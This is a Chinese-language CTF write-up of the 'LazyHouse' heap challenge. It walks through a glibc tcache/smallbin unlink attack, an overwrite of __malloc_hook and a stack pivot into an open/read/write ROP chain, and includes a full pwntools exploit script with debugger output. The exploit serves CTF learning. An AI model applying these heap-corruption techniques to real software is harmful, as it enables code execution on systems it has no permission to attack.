LazyHouse

先把设置好0xd1的fake chunk的这部分的图给出来:

image-20191104211630445

之后我们把0x220的tcache填满,为产生smallbin做准备。

1
2
3
for i in range(5):
add(2, 0x210, 'a')
delete(2)

为了构造struct中的fake size,我们分配一个0x3a0的块。这会在struct中有一个0x100的fake size的效果。

1
2
3
# create a fake 0x100 size in tcache_pthread_struct
add(2, 0x3a0, 0x3a0*'A')
delete(2)

struct中:

1
2
3
4
5
6
7
pwndbg> x/20gx 0x5590c645f000
0x5590c645f000: 0x0000000000000000 0x0000000000000251
0x5590c645f010: 0x0200000000000101 0x0000000000000000
0x5590c645f020: 0x0000000000000000 0x0000000000000000
0x5590c645f030: 0x0000000000000007 0x0000000000000000
0x5590c645f040: 0x0000000000000000 0x0000000000000100 #<= fake size
0x5590c645f050: 0x00005590c645fa40 0x00005590c645f9b0 #<= fake fd and bk

现在我们把chunk 1删掉,由于tcache满了,进入unsortedbin。之后分配0x220的块,chunk 1进入smallbin。

1
2
3
# start to smallbin unlink attack
delete(1) # 0x220 tcache is filled, into unsortedbin
add(1, 0x220, 0x220*'a') # into smallbin

此时的smallbin:

1
2
smallbins
0x220: 0x55bf78543a40 —▸ 0x7fe53f32eeb0 (main_arena+624) ◂— 0x55bf78543a40

a40是刚才删除的chunk 1。

之后我们删除之前的fake chunk 0x6c1(chunk 5)。chunk 5进入unsortedbin。再分配出来,修改chunk 0和chunk 1的metadata。

1
2
3
4
5
6
7
8
9
10
11
# change 0x20 and 0x30 fake chunk's fd
smallbin = libc_base+0x1e4eb0
log.info('smallbin: '+hex(smallbin))
tcache_fake_chunk = heap_base+0x40 # fake chunk in tcache_pthread_struct

# set 0x20 and 0x30 chunk's fd and bk
pl = 0x98*'\x00'+p64(0x31)
pl += p64(tcache_fake_chunk)
pl += '\x00'*0x80+p64(0x221)
pl += p64(smallbin)+p64(tcache_fake_chunk)
add(5, 0x6b0, pl)

经过操作后,堆块的结构如下:

image-20191104232004633

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pwndbg> x/40gx 0x558c19515000
0x558c19515000: 0x0000000000000000 0x0000000000000251
0x558c19515010: 0x0200000000000101 0x0000000000000000
0x558c19515020: 0x0000000000000000 0x0000000000000000
0x558c19515030: 0x0000000000000007 0x0000000000000000
0x558c19515040: 0x0000000000000000 0x0000000000000100 <= fake chunk
0x558c19515050: 0x0000558c19515a40 0x0000558c195159b0 <= fake chunk fd and bk
0x558c19515060: 0x0000000000000000 0x0000000000000000
0x558c19515070: 0x0000000000000000 0x0000000000000000

pwndbg> x/4gx 0x0000558c19515a40 (fake chunk fd)
0x558c19515a40: 0x0000000000000000 0x0000000000000221
0x558c19515a50: 0x00007f479c1adeb0 0x0000558c19515040 <= fake chunk
|- smallbin

pwndbg> x/4gx 0x0000558c195159b0 (fake chunk bk) bck->fd = victim
0x558c195159b0: 0x0000000000000000 0x0000000000000031
0x558c195159c0: 0x0000558c19515040 0x0000000000000000
|- smallbin

pwndbg> x/4gx 0x00007f479c1adeb0 (smallbin)
0x7f479c1adeb0 <main_arena+624>: 0x00007f479c1adea0 0x00007f479c1adea0
0x7f479c1adec0 <main_arena+640>: 0x0000558c19515a40 0x0000558c19515a40

此时struct上的fake chunk的fd和bk满足:FD->bk == p, BK->fd == p。这是为了绕过取smallbin的检查:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);

if ((victim = last (bin)) != bin)
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;

if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
...
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

该fake chunk已经连入到smallbin中了:

1
2
3
4
5
pwndbg> smallbins
smallbins
0x220 [corrupted]
FD: 0x55ae7b61aa40 —▸ 0x7f1fb7114eb0 (main_arena+624) ◂— 0x55ae7b61aa40
BK: 0x55ae7b61aa40 —▸ 0x55ae7b61a040 —▸ 0x55ae7b61a9b0 ◂— 0x0

这里corrupted没有关系,smallbin会按照BK指针来给我们chunk。

先分配0x210拿到a40的块。这个块用来存储我们的ROP chain:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
pop_rdi = libc_base+0x0000000000026542
pop_rsi = libc_base+0x0000000000026f9e
pop_rdx = libc_base+0x000000000012bda6
pop_rax = libc_base+0x0000000000047cf8
syscall = libc_base+0x00000000000cf6c5
leave_ret = libc_base+0x0000000000058373
libc = ELF('./libc.so.6', checksec=False)
malloc_hook = libc_base+libc.sym['__malloc_hook']

# ROP payload
pl = 0x18*'z' # padding
pl += './flag'.ljust(0x20, '\x00') # heap+0xa68 './flag'

# open(flag), fd = 3
pl += p64(pop_rdi)+p64(heap_base+0xa68)
pl += p64(pop_rsi)+p64(0)
pl += p64(pop_rax)+p64(2)
pl += p64(syscall)
# read(3, heap, 0x100)
pl += p64(pop_rdi)+p64(3)
pl += p64(pop_rsi)+p64(heap_base)
pl += p64(pop_rdx)+p64(0x100)
pl += p64(pop_rax)+p64(0)
pl += p64(syscall)
# write(1, heap, 0x100)
pl += p64(pop_rdi)+p64(1)
pl += p64(pop_rsi)+p64(heap_base)
pl += p64(pop_rdx)+p64(0x100)
pl += p64(pop_rax)+p64(1)
pl += p64(syscall)

add(3, 0x210, pl)
1
2
3
4
smallbins
0x220 [corrupted] (no matter, chunk will be given from BK)
FD: 0x564cd3c21a40 ◂— 'zzzzzzzzzzzzzzzzzzzzzzzz./flag'
BK: 0x564cd3c21040 —▸ 0x564cd3c219b0 ◂— 0x0

再分配0x210拿到struct上的fake chunk。把0x220的tcache entry改为malloc_hook的地址。

1
2
# overwrite 0x210 tcache bin start with malloc_hook
add(2, 0x210, p64(0)*0x20+p64(malloc_hook))
1
2
3
4
5
6
tcachebins
0x20 [ 1]: 0x0
0x30 [ 1]: 0x0
0x90 [ 2]: 0x0
0x220 [ 7]: 0x7fc6caf47c30 (__malloc_hook) ◂— 0x0
0x3b0 [ 1]: 0x5573316ffb50 ◂— 0x0

ROP的地址已知。之后买super_house,将malloc_hook改为leave; ret的地址。

1
2
# super house will malloc(0x217), will give the chunk from malloc_hook
super_house(p64(leave_ret))

由之前通过calloc来控制rbp到ROP那里,成功劫持栈,执行ROP。

运行效果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
wgn@ubuntu:/mnt/hgfs/share/lazy$ python exp.py
[*] '/mnt/hgfs/share/lazy/lazyhouse'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
[+] Starting local process './lazyhouse': pid 107296
[*] PID: 107296
[*] leak: 0x7f93bef3d0d0
[*] libc_base: 0x7f93bed58000
[*] leak: 0x55b4363032e0
[*] heap_base: 0x55b436303000
[*] smallbin: 0x7f93bef3ceb0
[*] Switching to interactive mode
Price:5415557892635423262
FLAG{testflag}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive
$

Full exploit

完整的exp在这里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
#!/usr/bin/env python
# -*- coding: utf-8 -*-

'''
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x0000000f if (A != rt_sigreturn) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0014
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0016
0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0016: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0018
0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0018: 0x15 0x00 0x01 0x00000009 if (A != mmap) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x15 0x00 0x01 0x0000000a if (A != mprotect) goto 0022
0021: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0022: 0x15 0x00 0x01 0x00000003 if (A != close) goto 0024
0023: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0024: 0x06 0x00 0x00 0x00000000 return KILL
'''


from pwn import *
import sys

context.terminal=["tmux", "sp", "-h"]
context.log_level='info'

DEBUG = 0

LOCAL = True
BIN = './lazyhouse'
HOST = '127.0.0.1'
PORT = 1234

def get_base_address(proc):
return int(open("/proc/{}/maps".format(proc.pid), 'rb').readlines()[0].split('-')[0], 16)

def debug(bps, _s):
script = 'handle SIGALRM ignore\n'
PIE = get_base_address(p)
script += "set = 0x{:x}\n".format(PIE)
for bp in bps:
script += "b *0x%x\n"%(PIE+bp)
script += _s
gdb.attach(p, gdbscript=script)


def add(idx, size, content):
p.sendlineafter(': ', '1')
p.sendlineafter(':', str(idx))
p.sendlineafter(':', str(size))
p.sendafter(':', content)

def show(idx):
p.sendlineafter(': ', '2')
p.sendlineafter(':', str(idx))

def delete(idx):
p.sendlineafter(': ', '3')
p.sendlineafter(':', str(idx))

def edit(idx, content):
p.sendlineafter(': ', '4')
p.sendlineafter(':', str(idx))
p.sendafter(':', content)

def super_house(content):
p.sendlineafter(': ', '5')
p.sendafter(':', content)

# pwn,caidan,leak,libc
# recv recvuntil send sendline sendlineafter sendafter

def get_money():
# use integer overflow to get a lot of money
size = (2**64/218)+1
p.sendlineafter('choice', '1')
p.sendlineafter('Index:', str(0))
p.sendlineafter('Size:', str(size))
# sell error
delete(0)
# got money


def exploit(p):

get_money()

# p.interactive()

add(0, 0x80, 0x80*'0')
add(1, 0x500, 0x500*'1') # chunk B
add(2, 0x80, 0x80*'2')
delete(1) # chunk B into unsortedbin
add(1, 0x600, 0x600*'1') # chunk B into largebin

pl = 0x88*'\x00'+p64(0x510+1+2) # IS_MAPPED
edit(0, pl)
add(7, 0x500, 'a'*8)
show(7)
p.recvuntil(8*'a')
leak = u64(p.recv(6).ljust(8, '\x00'))
log.info('leak: '+hex(leak)) # main_arena+1168
libc_base = leak-0x1e50d0
log.info('libc_base: '+hex(libc_base))

p.recv(2)
leak = u64(p.recv(6).ljust(8, '\x00'))
log.info('leak: '+hex(leak))
heap_base = leak+0x55bb7cebe000-0x55bb7cebe2e0
log.info('heap_base: '+hex(heap_base))


delete(0) # into tcache 0x90
delete(1) # merge with top chunk
delete(2) # into tcache 0x90

'''
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
'''

'''
/* Take a chunk off a bin list. */
static void
unlink_chunk (mstate av, mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");

mchunkptr fd = p->fd;
mchunkptr bk = p->bk;

if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");

fd->bk = bk;
bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
'''
target = heap_base+0x890 # unlink target
pl = ''
pl += p64(0) # prev_size
pl += p64(0x231) # size
pl += p64(target+0x08) # fd
pl += p64(target+0x10) # bk
pl += p64(target) # ptr
# *(target+0x20) = target
# target->fd = *(target+0x10) = target+8
# target->fd->bk = *(target+8+0x18) = target
# target->bk = *(target+0x18) = target+0x10
# target->bk->fd = *(target+0x10+0x18) = target
add(6, 0x80, pl)

# calloc wont use tcache!
add(5, 0x80, 0x80*'c') # 910
add(0, 0x80, 0x80*'d') # 9a0
add(1, 0x80, 0x80*'e') # a30

# pause()

add(2, 0x600, 0x600*'\x00') # will be freed and consolidate with fake chunk

pl = 0x80*'\x00'+p64(0x230)+p64(0x610) # prev_size and no prev_inuse
edit(1, pl)

delete(2)
# chunk 0x600 merge with fake chunk, into unsortedbin
# then merge with top chunk
# now top chunk start from the fake chunk

######################################################

pl = 0x78*'\x00'+p64(0x6c1) # chunk 5 fake size
pl += 0x88*'\x00'+p64(0x31) # chunk 0 fake size
pl += 0x88*'\x00'+p64(0x21) # chunk 1 fake size
add(2, 0x500, pl)

delete(0) # chunk into tcache_pthread_struct
delete(1)

delete(2) # merge with top chunk, alloc chunk to change metadata in chunk above

'''
pwndbg> x/30gx 0x561859478000
0x561859478000: 0x0000000000000000 0x0000000000000251
0x561859478010: 0x0200000000000101 0x0000000000000000
0x561859478020: 0x0000000000000000 0x0000000000000000
0x561859478030: 0x0000000000000000 0x0000000000000000
0x561859478040: 0x0000000000000000 0x0000000000000000
0x561859478050: 0x0000561859478a40 0x00005618594789b0 <= 0x20 and 0x30 tcache
'''

# chunk ends at fake chunk 0x20
size = 0x1a0
assert size == 0x70+0x90*2+0x10
add(0, size, 0x78*'\x00'+p64(0x6c1))

# chunk start from the top of fake chunk 0x20's fd and bk
add(1, 0x210, 0x210*'a')
'''
0x55b5fb86fa30: 0x0000000000000000 0x0000000000000000 <= fake chunk 0x20
0x55b5fb86fa40: 0x0000000000000000 0x0000000000000221 <= chunk 1 start from here
0x55b5fb86fa50: 0x6161616161616161 0x6161616161616161
'''
add(2, 0x210, 0x210*'b')
delete(2) # into tcache

add(2, 0x210, 0x148*'\x00'+p64(0xd1)) # fake chunk 0x6c0 --> fake chunk 0xd1 (fd0)

# pause()
######################################################
delete(2) # into tcache
'''
tcachebins
0x20 [ 1]: 0x55c57e808a40 — 0x0
0x30 [ 1]: 0x55c57e8089b0 — 0x0
0x90 [ 2]: 0x55c57e808800 — 0x55c57e808260 — 0x0
0x220 [ 2]: 0x55c57e808e90 — 0x55c57e808c70 — 0x0
'''
# fill tcache for 0x220
for i in range(5):
add(2, 0x210, 'a')
delete(2)

# create a fake 0x100 size in tcache_pthread_struct
add(2, 0x3a0, 0x3a0*'A')
delete(2)
'''
pwndbg> x/20gx 0x5590c645f000
0x5590c645f000: 0x0000000000000000 0x0000000000000251
0x5590c645f010: 0x0200000000000101 0x0000000000000000
0x5590c645f020: 0x0000000000000000 0x0000000000000000
0x5590c645f030: 0x0000000000000007 0x0000000000000000
0x5590c645f040: 0x0000000000000000 0x0000000000000100 <= fake size
0x5590c645f050: 0x00005590c645fa40 0x00005590c645f9b0
'''

# start to smallbin unlink attack
delete(1) # 0x220 tcache is filled, into unsortedbin
add(1, 0x220, 0x220*'a') # into smallbin
'''
smallbins
0x220: 0x55bf78543a40 —▸ 0x7fe53f32eeb0 (main_arena+624) ◂— 0x55bf78543a40
'''

# free 0x6c1 chunk into unsortedbin and allocate it
delete(5)

# change 0x20 and 0x30 fake chunk's fd
smallbin = libc_base+0x1e4eb0
log.info('smallbin: '+hex(smallbin))
tcache_fake_chunk = heap_base+0x40 # fake chunk in tcache_pthread_struct

# set 0x20 and 0x30 chunk's fd and bk
pl = 0x98*'\x00'+p64(0x31)
pl += p64(tcache_fake_chunk)
pl += '\x00'*0x80+p64(0x221)
pl += p64(smallbin)+p64(tcache_fake_chunk)
add(5, 0x6b0, pl)

# pause()
'''
pwndbg> x/40gx 0x558c19515000
0x558c19515000: 0x0000000000000000 0x0000000000000251
0x558c19515010: 0x0200000000000101 0x0000000000000000
0x558c19515020: 0x0000000000000000 0x0000000000000000
0x558c19515030: 0x0000000000000007 0x0000000000000000
0x558c19515040: 0x0000000000000000 0x0000000000000100 <= fake chunk
0x558c19515050: 0x0000558c19515a40 0x0000558c195159b0 <= fake chunk fd and bk
0x558c19515060: 0x0000000000000000 0x0000000000000000
0x558c19515070: 0x0000000000000000 0x0000000000000000

pwndbg> x/4gx 0x0000558c19515a40 (fake chunk fd)
0x558c19515a40: 0x0000000000000000 0x0000000000000221
0x558c19515a50: 0x00007f479c1adeb0 0x0000558c19515040 <= fake chunk
|- smallbin

pwndbg> x/4gx 0x0000558c195159b0 (fake chunk bk) bck->fd = victim
0x558c195159b0: 0x0000000000000000 0x0000000000000031
0x558c195159c0: 0x0000558c19515040 0x0000000000000000
|- smallbin

pwndbg> x/4gx 0x00007f479c1adeb0 (smallbin)
0x7f479c1adeb0 <main_arena+624>: 0x00007f479c1adea0 0x00007f479c1adea0
0x7f479c1adec0 <main_arena+640>: 0x0000558c19515a40 0x0000558c19515a40
'''

pop_rdi = libc_base+0x0000000000026542
pop_rsi = libc_base+0x0000000000026f9e
pop_rdx = libc_base+0x000000000012bda6
pop_rax = libc_base+0x0000000000047cf8
syscall = libc_base+0x00000000000cf6c5
leave_ret = libc_base+0x0000000000058373
libc = ELF('./libc.so.6', checksec=False)
malloc_hook = libc_base+libc.sym['__malloc_hook']

# ROP payload
pl = 0x18*'z' # padding
pl += './flag'.ljust(0x20, '\x00') # heap+0xa68 './flag'

#debug
# pl += 'tttttttt'

# open(flag), fd = 3
pl += p64(pop_rdi)+p64(heap_base+0xa68)
pl += p64(pop_rsi)+p64(0)
pl += p64(pop_rax)+p64(2)
pl += p64(syscall)
# read(3, heap, 0x100)
pl += p64(pop_rdi)+p64(3)
pl += p64(pop_rsi)+p64(heap_base)
pl += p64(pop_rdx)+p64(0x100)
pl += p64(pop_rax)+p64(0)
pl += p64(syscall)
# write(1, heap, 0x100)
pl += p64(pop_rdi)+p64(1)
pl += p64(pop_rsi)+p64(heap_base)
pl += p64(pop_rdx)+p64(0x100)
pl += p64(pop_rax)+p64(1)
pl += p64(syscall)

add(3, 0x210, pl)

'''
smallbins
0x220 [corrupted] (no matter, chunk will be given from BK)
FD: 0x564cd3c21a40 ◂— 'zzzzzzzzzzzzzzzzzzzzzzzz./flag'
BK: 0x564cd3c21040 —▸ 0x564cd3c219b0 ◂— 0x0
'''
# overwrite 0x210 tcache bin start with malloc_hook
add(2, 0x210, p64(0)*0x20+p64(malloc_hook))
'''
tcachebins
0x20 [ 1]: 0x0
0x30 [ 1]: 0x0
0x90 [ 2]: 0x0
0x220 [ 7]: 0x7fc6caf47c30 (__malloc_hook) ◂— 0x0
0x3b0 [ 1]: 0x5573316ffb50 ◂— 0x0
'''
# super house will malloc(0x217), will give the chunk from malloc_hook
super_house(p64(leave_ret))
'''
pwndbg> tele 0x7f9896966c30
00:0000│ 0x7f9896966c30 (__malloc_hook) —▸ 0x7f98967da373 (__mpn_mul_n+83) ◂— leave
01:0008│ 0x7f9896966c38 ◂— 0x0
'''

'''
calloc(1, size) rdi = 1, rsi = size
pwndbg> disassemble 0x7f989681ba00
Dump of assembler code for function __libc_calloc:
0x00007f989681ba00 <+0>: mov rdx,rdi
0x00007f989681ba03 <+3>: push r14
0x00007f989681ba05 <+5>: mov eax,0xffffffff
0x00007f989681ba0a <+10>: push r13
0x00007f989681ba0c <+12>: or rdx,rsi
0x00007f989681ba0f <+15>: push r12
0x00007f989681ba11 <+17>: push rbp
0x00007f989681ba12 <+18>: mov rbp,rdi <== rbp=1
0x00007f989681ba15 <+21>: push rbx
0x00007f989681ba16 <+22>: imul rbp,rsi <== rbp=1*size
0x00007f989681ba1a <+26>: cmp rdx,rax
0x00007f989681ba1d <+29>: jbe 0x7f989681ba28 <__libc_calloc+40>

0x00007f989681ba28 <+40>: mov rax,QWORD PTR [rip+0x14a4c1] # 0x7f9896965ef0
0x00007f989681ba2f <+47>: mov rax,QWORD PTR [rax]
0x00007f989681ba32 <+50>: test rax,rax
0x00007f989681ba35 <+53>: jne 0x7f989681bcd0 <__libc_calloc+720>

0x00007f989681bcd0 <+720>: mov rsi,QWORD PTR [rsp+0x28]
0x00007f989681bcd5 <+725>: mov rdi,rbp
0x00007f989681bcd8 <+728>: call rax (rbp is still 1*size)

malloc_hook = leave_ret # leave: mov rsp, rbp; pop rbp;
'''
# pause()
add(4, heap_base+0xa80, 'a')
'''
RBP 0x55645e149a80 ◂— 0x0

► 0x7f8e35993cd8 <calloc+728> call rax <0x7f8e35952373>
rdi: 0x55645e149a80 ◂— 0x0
rsi: 0x55645c1afda3 ◂— mov qword ptr [rbp - 0x118], rax
rdx: 0x0
rcx: 0x55645c1b3060 —▸ 0x55645e1498a0 ◂— 0x0
pwndbg> x/2i 0x7f8e35952373
0x7f8e35952373 <__mpn_mul_n+83>: leave
0x7f8e35952374 <__mpn_mul_n+84>: ret

RBP 0x0
RSP 0x55645e149a88 —▸ 0x7f8e35920542 (init_cacheinfo+242) ◂— pop rdi
'''

p.interactive()
return

if __name__ == "__main__":
elf = ELF(BIN)
if len(sys.argv) > 1:
LOCAL = False
p = remote(HOST, PORT)
exploit(p)
else:
LOCAL = True
p = process(BIN)
log.info('PID: ' + str(proc.pidof(p)[0]))
# pause()
if DEBUG:
debug([], "")
exploit(p)

我并没有删去多余的注释和调试信息,感觉这样重新看的时候可以很快了解整个利用过程。